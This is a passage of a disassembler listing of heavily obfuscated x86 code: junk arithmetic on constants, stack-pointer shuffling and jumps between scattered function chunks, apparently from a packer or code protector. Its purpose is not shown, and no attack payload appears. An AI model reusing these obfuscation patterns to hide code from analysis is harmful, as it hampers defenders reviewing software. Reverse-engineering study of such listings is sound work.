		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5A62B0
; END OF FUNCTION CHUNK	FOR sub_59E325

; =============== S U B	R O U T	I N E =======================================



sub_5A577C	proc near		; CODE XREF: sub_59C95F+4116j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599A0F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C27E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059D02A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A1CBC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A457F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A52E9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005ABF7F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD8E3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ADC1E SIZE 0000000A BYTES

		push	ebp
		push	esi
		jmp	loc_599A0F
sub_5A577C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5A5783:				; CODE XREF: sub_5ABEF6-4B7Aj
		sub	ebx, 404376D3h
		push	edi
		mov	edi, 521A7445h
		dec	edi
		or	edi, 673C2342h
		and	edi, 5A956DE1h
		sub	edi, 0D355617Eh
		sub	ebx, edi
		pop	edi
		jmp	loc_59F10B
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AA62


loc_5A57AA:				; CODE XREF: sub_59AA62+623Cj
		mov	[esp+8+var_8], ebp
		jmp	loc_5A1B38
; END OF FUNCTION CHUNK	FOR sub_59AA62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A57B2:				; CODE XREF: sub_5AA2D1-109FEj
		add	dword ptr [esp+0], 4
		pop	ecx
		jmp	sub_5A8E3E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A57BC:				; CODE XREF: sub_5A63DC-A41Aj
		xchg	ebx, [esp+10h+var_10]
		jmp	loc_5AADE9
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5A57C4:				; CODE XREF: sub_5ABEF6-6BCBj
		add	esi, 732A125Bh
		pop	edi
		push	27A9h
		mov	[esp+8+var_8], eax
		mov	eax, 315A7F64h
		neg	eax
		push	ebp
		jmp	loc_5A66F2
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F18C


loc_5A57E0:				; CODE XREF: sub_59F18C-4D39j
		xor	ebp, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59F18C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB2EA


loc_5A57F2:				; CODE XREF: sub_5AB2EA+2j
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		push	36A7h
		mov	[esp+8+var_8], ebp
		jmp	loc_59E77C
; END OF FUNCTION CHUNK	FOR sub_5AB2EA

; =============== S U B	R O U T	I N E =======================================



sub_5A580F	proc near		; CODE XREF: sub_59D6B8-3AB6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0059AD19 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059ADAB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059BBE6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059CF5F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059D1D1 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059D2F6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D9DA SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059DEA8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E294 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059ECE2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F540 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059FF64 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059FFD2 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A02B5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A07F4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A089C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A173B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1FC3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2234 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A25FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3966 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A3BBF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A656E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A7FDB SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A852E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A94B6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A9AB2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AA514 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA917 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AB9DD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005ABA43 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABC27 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AD3B7 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005AE166 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AE539 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 005AE874 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005AF9D1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AFFF5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005B021F SIZE 00000014 BYTES

		sub	esp, 4
		jmp	loc_5ABA43
sub_5A580F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD213


loc_5A5817:				; CODE XREF: sub_5AD213-DA8Dj
		pop	edx
		jmp	loc_5AD1A4
; END OF FUNCTION CHUNK	FOR sub_5AD213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA5F6


loc_5A581D:				; CODE XREF: sub_5AA5F6+1FBj
		add	al, 53h
		jmp	loc_5A5199
; END OF FUNCTION CHUNK	FOR sub_5AA5F6

; =============== S U B	R O U T	I N E =======================================



sub_5A5824	proc near		; CODE XREF: sub_5AA2D1-10C72j
					; sub_5AE9FA-1327Dj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A6A0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059FCC0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059FDB8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A3BE5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A6B66 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A6ED7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A721C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A8514 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A8A0A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ABADF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AE2D8 SIZE 0000002B BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	45EBh
		mov	[esp+4+var_4], eax
		push	601Ch
		mov	[esp+8+var_8], ebp
		mov	ebp, 5EFE70A3h
		push	5B957D7Ch
		pop	eax
		xor	eax, ebp
		push	[esp+8+var_8]
		pop	ebp
		jmp	loc_59FCC0
sub_5A5824	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_5A309D
; ---------------------------------------------------------------------------


loc_5A587D:				; CODE XREF: sdfs____:0059EAB5j
		sub	al, cl
		jmp	loc_5A74D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A5884:				; CODE XREF: sub_59A479+4BA0j
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_5AD751
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0266


loc_5A58A5:				; CODE XREF: sub_5B0266-F037j
		mov	[esp+8+var_8], edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_5ACCD6
; END OF FUNCTION CHUNK	FOR sub_5B0266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A58B4:				; CODE XREF: sub_59CBE1+1j
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp-10h+arg_C]
		add	esp, 4
		push	ebp
		push	[esp-10h+arg_10]
		pop	ebp
		jmp	loc_59A809
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A58CF:				; CODE XREF: sub_5AA2D1+28F9j
					; sub_5A9EBF+5DF7j
		mov	bh, 0E1h
		push	ebx
		mov	bl, 9Ch
		add	ch, bl
		pop	ebx
		sub	ch, bh
		sub	ch, 9Ch
		pop	bx
		jmp	loc_5A0E3C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A58E3:				; CODE XREF: sub_5A9EBF+F5Bj
		add	ebx, eax
		push	ebp
		push	eax
		push	6E485C2Ah
		jmp	loc_5A45E6
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5A58F1:				; CODE XREF: sub_5A72CB+497Ej
		pop	eax
		add	esp, 4
		neg	ebp
		jmp	loc_5A0CE1
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------


loc_5A58FF:				; CODE XREF: sdfs____:0059B50Bj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A03CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A590A:				; CODE XREF: sub_5A477C-46BAj
		push	esp
		pop	esi
		jmp	loc_5B0145
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_5A5911:				; CODE XREF: sub_5A86D0-5218j
		mov	edx, 0D16D7414h
		xor	eax, edx
		jmp	loc_5A5998
; END OF FUNCTION CHUNK	FOR sub_5A86D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A591D:				; CODE XREF: sub_5B01F7-E91Aj
		mov	edi, [esp+0]
		add	esp, 4
		sub	eax, 35E807CBh
		sub	eax, 1A316D36h
		add	eax, edx
		add	eax, 1A316D36h
		add	eax, 35E807CBh
		pop	edx
		push	57B0h
		jmp	loc_5A7DF2
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A5944:				; CODE XREF: sub_59D6B8+F8BAj
		push	0
		mov	ecx, [esp-10h+arg_C]
		push	5B38h
		jmp	loc_599F5B
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_5A5956	proc near		; CODE XREF: sub_5A0CD9-68E5j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059F943 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A4175 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AC337 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_5A4175
sub_5A5956	endp


; =============== S U B	R O U T	I N E =======================================



sub_5A5968	proc near		; DATA XREF: sdfs____:00598FC0o
		pop	dword ptr [edx]
		jmp	loc_59910F
sub_5A5968	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A596F:				; CODE XREF: sub_5A60F3-32B7j
					; sub_59A26C+105FFj
		xchg	edx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], esp
		add	[esp-8+arg_4], 4
		jmp	loc_59AB4E
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5A597F:				; CODE XREF: sub_5A522E-177Fj
		xor	esi, edi
		pop	edi
		jmp	loc_5A5757
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A5987:				; CODE XREF: sub_5992DA+A0D0j
		add	bh, 0CFh
		sub	esp, 4
		mov	[esp+22h+var_22], eax
		jmp	loc_5AF917
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A86D0


loc_5A5998:				; CODE XREF: sub_5A86D0-2DB8j
		pop	edx
		mov	ebx, eax
		pop	eax
		push	edi
		mov	edi, 2E35306h
		sub	eax, edi
		jmp	loc_5AC030
; END OF FUNCTION CHUNK	FOR sub_5A86D0

; =============== S U B	R O U T	I N E =======================================



sub_5A59A9	proc near		; DATA XREF: sdfs____:00598EA0o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp+0], al
		pushf
		jmp	loc_59910F
sub_5A59A9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A59B8:				; CODE XREF: sub_5AA2D1-AE73j
		mov	edx, esp
		push	ecx
		jmp	loc_59B5CD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A59C0:				; CODE XREF: sdfs____:005992FEj
		pop	ecx
		add	dword ptr [esp], 0E5862A9h
		sub	[esp], eax
		sub	dword ptr [esp], 0E5862A9h
		push	6213h
		mov	[esp], ecx
		jmp	loc_5A4758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A59DF:				; CODE XREF: sub_5992DA+2C84j
		add	eax, 0FDBEDE71h
		jmp	sub_5A77D5
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A59E9:				; CODE XREF: sub_59EE3E-4317j
		push	ecx
		jmp	loc_5A7BFB
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A59EF:				; CODE XREF: sub_59C979+11118j
		pop	bx
		xor	dh, cl
		pop	cx
		add	cl, 32h
		add	cl, 17h
		add	cl, 5Ch
		sub	cl, dh
		sub	cl, 5Ch
		sub	cl, 17h
		sub	cl, 32h
		jmp	loc_5A44A2
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_5A5A0E:				; CODE XREF: sub_59FE51+A0F1j
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5A33C9
; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5A2C:				; CODE XREF: sub_5AA2D1-1EBAj
		mov	edi, 3EF93CA3h
		sub	edi, 7600668Eh
		sub	edi, 6B4C6A99h
		sub	ebx, edi
		pop	edi
		mov	eax, [esp-10h+arg_C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-0Ch+arg_8]
		pop	esp
		add	ebx, 7AB514DBh
		push	ecx
		mov	ecx, 631E0053h
		add	ebx, ecx
		pop	ecx
		jmp	loc_5A0E0A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5A5A6A:				; CODE XREF: sub_5A917C-8EE6j
		push	dword ptr [esp+0]
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A0DBA
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5A78:				; CODE XREF: sub_5AA2D1+3679j
		mov	dh, ah
		pop	eax
		add	al, 34h
		jmp	$+5


loc_5A5A82:				; CODE XREF: sub_5A63DC+52E4j
		push	edx
		mov	dl, 85h
		add	al, dl
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		push	ecx
		mov	ch, 43h
		push	dx
		mov	dh, 0DEh
		jmp	loc_59E655
; ---------------------------------------------------------------------------


loc_5A5A9C:				; CODE XREF: sub_5AA2D1-2431j
					; sub_59D18A+BECDj ...
		sub	esi, 4BA5261Fh
		add	esi, 72CF5F7Eh
		mov	ebp, esi
		jmp	loc_5A0D38
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A5AAF:				; CODE XREF: sub_5992DA+16382j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		mov	eax, [esp+4+var_6+2]
		add	esp, 4
		jmp	loc_5ADAFE
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A5ACD:				; CODE XREF: sub_59C979+F534j
		mov	ebx, 800h
		and	eax, ebx
		mov	ebx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	734h
		mov	[esp+6+var_6], eax
		mov	eax, 32F65EA3h
		jmp	loc_59E789
; END OF FUNCTION CHUNK	FOR sub_59C979

; =============== S U B	R O U T	I N E =======================================



sub_5A5AF2	proc near		; CODE XREF: sub_5A5B27+7847j

arg_0		= word ptr  4

; FUNCTION CHUNK AT 0059A732 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A088B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A116E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A155F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8112 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADAB0 SIZE 00000008 BYTES

		push	ebx
		mov	bl, 0FDh
		mov	dh, bl
		pop	ebx
		push	eax
		mov	al, 0F4h
		not	al
		shr	al, 8
		xor	al, 96h
		sub	dh, al
		jmp	loc_59A732
sub_5A5AF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A5B09:				; CODE XREF: sub_5A477C+328Bj
		add	ebx, edi
		pop	edi
		sub	ebx, eax
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 18DD237Ah
		add	ebx, 65213C2Eh
		jmp	loc_59920A
; END OF FUNCTION CHUNK	FOR sub_5A477C

; =============== S U B	R O U T	I N E =======================================



sub_5A5B27	proc near		; DATA XREF: sdfs____:00598ED8o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059EC47 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A1336 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2001 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A46C7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A65BD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A6D85 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A83F5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AB467 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005ACB2B SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005AD36C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AE691 SIZE 0000001A BYTES

		mov	ax, word ptr [esp+8+var_8]
		push	618h
		mov	[esp+0], ebx
		push	499Eh
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ebx
		push	esi
		jmp	loc_5A46C7
sub_5A5B27	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A5B49:				; CODE XREF: sub_5B01F7-6478j
		shr	eax, 2
		jnp	loc_59BEA7
		push	6913h
		jmp	loc_5A6691
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5B5C:				; CODE XREF: sub_5AA2D1-102Fj
		add	esi, 10012552h
		jnp	loc_59EA54
		add	esi, 0EFFF1F57h
		mov	ecx, esi
		mov	ecx, edi


loc_5A5B72:				; CODE XREF: sdfs____:005AD322j
		sub	eax, 66430FD8h
		jo	loc_5AD8BD
		add	eax, 1EA50D8Bh
		shr	eax, 5
		neg	eax
		jmp	loc_5A095C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_5A5B8C:				; CODE XREF: sub_5A10E3+24Ej
		mov	edi, 19AA474Dh
		sub	[esp+8+var_4], edi
		pop	edi
		jmp	loc_59AD19
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF6AC


loc_5A5B9B:				; CODE XREF: sub_5AF6AC-12006j
		mov	ebx, 587D51C4h
		add	edi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		xor	edi, 0E9859E3Ch
		add	eax, edi
		pop	edi
		add	edi, eax
		pop	eax
		jmp	sub_5992DA
; END OF FUNCTION CHUNK	FOR sub_5AF6AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5BB9:				; CODE XREF: sub_5AA2D1+459Ej
		add	edx, 4
		xchg	edx, [esp-0Eh+arg_8+2]
		mov	esp, [esp-0Eh+arg_8+2]
		add	eax, ebp
		pop	ebp
		push	40C1h
		mov	[esp-0Eh+arg_8+2], ebp
		mov	ebp, 430738D5h
		push	ecx
		mov	ecx, 112F00ADh
		and	ecx, 6053459Bh
		sub	ecx, 4A3C5EC7h
		and	ecx, 631C1BC1h
		sub	ecx, 0C69CFA8Dh
		add	ebp, ecx
		jmp	loc_59B365
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A5BF7:				; CODE XREF: sub_5AD795-1425Dj
		push	eax
		mov	eax, 3C5A4B20h
		jmp	loc_59E01B
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A5C02:				; CODE XREF: sub_59D6B8+11B5Fj
		push	edi
		push	7113156Ch
		pop	edi
		sub	ebx, edi
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		add	ebx, 7A4C5DBBh
		push	ecx
		mov	ecx, 4CAE2A18h
		add	ebx, ecx
		jmp	loc_5A6937
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A5C24:				; CODE XREF: sub_59A26C+DDC6j
		mov	[esp-8+arg_4], ecx
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5C2C:				; CODE XREF: sub_5AA2D1-5FC5j
		mov	esp, [esp-4+arg_0]
		div	cx
		push	25A2h
		mov	[esp+0], ebp
		push	2994h
		jmp	loc_59C30D
; ---------------------------------------------------------------------------


loc_5A5C44:				; CODE XREF: sub_5AA2D1-1053Aj
		push	ecx
		mov	ecx, 13E63406h
		dec	ecx
		xor	ecx, 2310848h
		add	ecx, 3C2C7AF9h
		add	ecx, 63021BC8h
		add	ecx, 500584C5h
		mov	ebx, ecx
		jmp	loc_5A01F6
; ---------------------------------------------------------------------------


loc_5A5C6A:				; CODE XREF: sub_5AA2D1-EAACj
		jmp	loc_5AEC41
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5A5C6F:				; CODE XREF: sub_599A61+13A93j
		mov	[esp+4+var_4], esi
		not	[esp+4+var_4]
		mov	esi, [esp+4+var_4]
		add	esp, 4
		shl	esi, 4
		inc	esi
		jmp	loc_5A3686
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8E3E


loc_5A5C87:				; CODE XREF: sub_5A8E3E+12j
		add	esp, 4
		shr	edi, 1
		jmp	loc_5A2915
; END OF FUNCTION CHUNK	FOR sub_5A8E3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5C94:				; CODE XREF: sub_5AA2D1-AAEEj
		mov	[esp+0Ch+var_C], edi
		mov	edi, 5FDE6559h
		add	[esp+0Ch+var_8], 10F64236h
		add	[esp+0Ch+var_8], edi
		jmp	loc_5A5146
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A5CAD:				; CODE XREF: sub_59D6B8+6941j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_5A67EE
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5CBF:				; CODE XREF: sub_5AA2D1-D5D5j
					; sub_5AF18F-8E5Ej
		sub	edi, 4
		sub	esp, 4
		jmp	loc_5AC8E7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5735


loc_5A5CD0:				; CODE XREF: sub_5A5735-3E93j
		push	[esp+0Ch+var_C]
		pop	esi
		add	esp, 4
		pop	[esp+8+var_8]
		pop	esp
		mov	[esp+0], eax
		mov	eax, esp
		push	edx
		push	4
		pop	edx
		add	eax, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59C246
; END OF FUNCTION CHUNK	FOR sub_5A5735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5CF7:				; CODE XREF: sub_5AA2D1+39DAj
		add	eax, 12E47A7h
		push	edx
		mov	edx, 38A51C5Fh
		and	eax, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		shr	eax, 1
		dec	eax
		jmp	loc_59D25A
; ---------------------------------------------------------------------------


loc_5A5D15:				; CODE XREF: sub_5AA2D1+A67j
		dec	esi
		inc	esi
		shl	esi, 8
		add	esi, 0CB1ED122h
		sub	edi, esi
		pop	esi
		sub	edi, 7B8877B7h
		add	edi, ebx
		add	edi, 7B8877B7h
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 569D0E22h
		add	edi, ecx
		pop	ecx
		add	edi, 679D16B5h
		jmp	loc_5AED35
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5A5D4A:				; CODE XREF: sub_5A16B8+2E16j
		pop	ecx
		xchg	ebx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+4+var_4]
		pop	esp
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp+0], esp
		jmp	loc_59FBD4
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5A5D6D:				; CODE XREF: sub_5AD993-1108j
		mov	bh, 34h
		sub	bh, 44h
		inc	bh
		jle	loc_59980D
		add	bh, 0EDh
		mov	ah, bh
		pop	ebx
		xor	ah, cl
		pop	ecx
		mov	bh, bh
		mov	ecx, ebx
; END OF FUNCTION CHUNK	FOR sub_5AD993
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5D87:				; CODE XREF: sub_5AA2D1+516Ej
		mov	ebx, esp
